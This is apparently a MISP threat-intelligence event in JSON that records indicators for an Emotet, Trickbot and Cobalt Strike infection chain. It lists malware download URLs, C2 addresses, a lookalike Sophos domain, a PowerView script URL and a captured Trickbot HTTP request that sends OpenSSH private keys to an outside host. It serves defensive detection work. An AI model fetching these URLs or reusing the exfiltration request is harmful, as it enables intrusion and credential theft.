{
  "Event": {
    "analysis": "0",
    "date": "2020-01-29",
    "extends_uuid": "",
    "info": "Emotet - Trickbot - CobaltStrike - gtag mor85",
    "publish_timestamp": "1580472298",
    "published": true,
    "threat_level_id": "3",
    "timestamp": "1580472207",
    "uuid": "5e30d3b9-b330-44ac-8104-97af950d210f",
    "Orgc": {
      "name": "laskowski-tech.com",
      "uuid": "5e157d76-c92c-4acd-a54e-4a01950d210f"
    },
    "Tag": [
      {
        "colour": "#991515",
        "local": false,
        "name": "trickbot",
        "relationship_type": ""
      },
      {
        "colour": "#cd05ff",
        "local": false,
        "name": "emotet:epoch=\"1\"",
        "relationship_type": ""
      },
      {
        "colour": "#0ab4a7",
        "local": false,
        "name": "Cobalt Strike",
        "relationship_type": ""
      },
      {
        "colour": "#6772d6",
        "local": false,
        "name": "PowerView",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:white",
        "relationship_type": ""
      }
    ],
    "Attribute": [
      {
        "category": "Payload delivery",
        "comment": "emotet maldoc download link",
        "deleted": false,
        "disable_correlation": false,
        "first_seen": "2020-01-27T00:00:00+00:00",
        "last_seen": "2020-01-28T00:00:00+00:00",
        "timestamp": "1580258591",
        "to_ids": true,
        "type": "url",
        "uuid": "5e30d49a-6728-426b-bd62-97d0950d210f",
        "value": "http://1.magnoec.com/r2v5r/closed_CPo2hqV_9LuHqppjuXGHoSN/870323622452_ABzYhbO_portal/82h8i4qo61essf_4tu0x/",
        "Tag": [
          {
            "colour": "#cd05ff",
            "local": false,
            "name": "emotet:epoch=\"1\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "Trickbot modules",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1580258623",
        "to_ids": true,
        "type": "url",
        "uuid": "5e30d4ef-4b40-43e3-809f-7485950d210f",
        "value": "http://107.175.116.133/images/lastimg.png",
        "Tag": [
          {
            "colour": "#991515",
            "local": false,
            "name": "trickbot",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "Trickbot modules",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1580258612",
        "to_ids": true,
        "type": "url",
        "uuid": "5e30d4f1-3e34-4a15-86c7-7485950d210f",
        "value": "http://107.175.116.133/images/mini.png",
        "Tag": [
          {
            "colour": "#991515",
            "local": false,
            "name": "trickbot",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "trickbot c2",
        "deleted": false,
        "disable_correlation": false,
        "first_seen": "2020-01-28T00:00:00+00:00",
        "last_seen": "2020-01-28T00:00:00+00:00",
        "timestamp": "1580258742",
        "to_ids": true,
        "type": "ip-dst|port",
        "uuid": "5e30d590-5cb8-47fd-86e1-47c4950d210f",
        "value": "181.196.207.202|449",
        "Tag": [
          {
            "colour": "#991515",
            "local": false,
            "name": "trickbot",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "Trickbot looking to exfil SSH keys",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1580259429",
        "to_ids": false,
        "type": "text",
        "uuid": "5e30d847-7174-4b17-97d2-97d2950d210f",
        "value": "```\r\nPOST /mor85/$HOSTNAME_W10017763.17B12C3CA6F6245FD0479319017B8DF1/81/ HTTP/1.1\r\n\r\nAccept: */*\r\n\r\nContent-Type: multipart/form-data; boundary=---------XYYUIBBYFVTYXHJK\r\n\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)\r\n\r\nHost: 203.176.135.102:8082\r\n\r\nContent-Length: 210\r\n\r\nConnection: Close\r\n\r\nCache-Control: no-cache\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"data\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"source\"\r\n\r\n\r\n\r\nOpenSSH private keys\r\n\r\n-----------XYYUIBBYFVTYXHJK--\r\n```"
      },
      {
        "category": "Network activity",
        "comment": "Trickbot Exfil On port 8082",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1580259489",
        "to_ids": true,
        "type": "ip-dst|port",
        "uuid": "5e30d8a1-0190-4c85-bab9-4fa1950d210f",
        "value": "203.176.135.102|8082"
      },
      {
        "category": "External analysis",
        "comment": "quick writeup",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1580260936",
        "to_ids": false,
        "type": "link",
        "uuid": "5e30de48-a3ac-47bd-999b-4582950d210f",
        "value": "https://laskowski-tech.com/2020/01/29/is-that-really-your-av-company-trickbot-gtag-mor85/"
      }
    ],
    "Object": [
      {
        "comment": "",
        "deleted": false,
        "description": "url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.",
        "meta-category": "network",
        "name": "url",
        "template_uuid": "60efb77b-40b5-4c46-871b-ed1ed999fce5",
        "template_version": "8",
        "timestamp": "1580259108",
        "uuid": "5e30d6e6-c0f0-4eaa-bf94-4e65950d210f",
        "Attribute": [
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "url",
            "timestamp": "1580259108",
            "to_ids": true,
            "type": "url",
            "uuid": "5e30d6e6-e370-4e33-9afe-4750950d210f",
            "value": "https://sophosdefence.com:80/agergbvafdsvgbrt",
            "Tag": [
              {
                "colour": "#0ab4a7",
                "local": false,
                "name": "Cobalt Strike",
                "relationship_type": ""
              }
            ]
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "text",
            "timestamp": "1580259048",
            "to_ids": false,
            "type": "text",
            "uuid": "5e30d6e8-7238-4907-8ccd-45f3950d210f",
            "value": "Cobalt Strike C2 delivered by trickbot"
          },
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "ip",
            "timestamp": "1580259055",
            "to_ids": true,
            "type": "ip-dst",
            "uuid": "5e30d6ef-0efc-484a-a7c6-4455950d210f",
            "value": "149.248.5.240"
          },
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "domain",
            "timestamp": "1580259061",
            "to_ids": true,
            "type": "domain",
            "uuid": "5e30d6f5-0ecc-4752-a3de-4632950d210f",
            "value": "sophosdefence.com"
          }
        ]
      },
      {
        "comment": "",
        "deleted": false,
        "description": "url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.",
        "meta-category": "network",
        "name": "url",
        "template_uuid": "60efb77b-40b5-4c46-871b-ed1ed999fce5",
        "template_version": "8",
        "timestamp": "1580259306",
        "uuid": "5e30d789-8764-429a-bbec-4cdf950d210f",
        "Attribute": [
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "url",
            "timestamp": "1580259306",
            "to_ids": true,
            "type": "url",
            "uuid": "5e30d789-3c8c-4cf8-93f0-4b99950d210f",
            "value": "https://qwe4dse4.com/hcxUr9dg.ps1",
            "Tag": [
              {
                "colour": "#6772d6",
                "local": false,
                "name": "PowerView",
                "relationship_type": ""
              }
            ]
          },
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "ip",
            "timestamp": "1580259214",
            "to_ids": true,
            "type": "ip-dst",
            "uuid": "5e30d78e-dbac-4ab8-9a6e-4e28950d210f",
            "value": "45.32.211.239"
          },
          {
            "category": "Network activity",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "domain",
            "timestamp": "1580259214",
            "to_ids": true,
            "type": "domain",
            "uuid": "5e30d78e-e4e4-4549-ae9e-44b5950d210f",
            "value": "qwe4dse4.com"
          }
        ]
      }
    ]
  }
}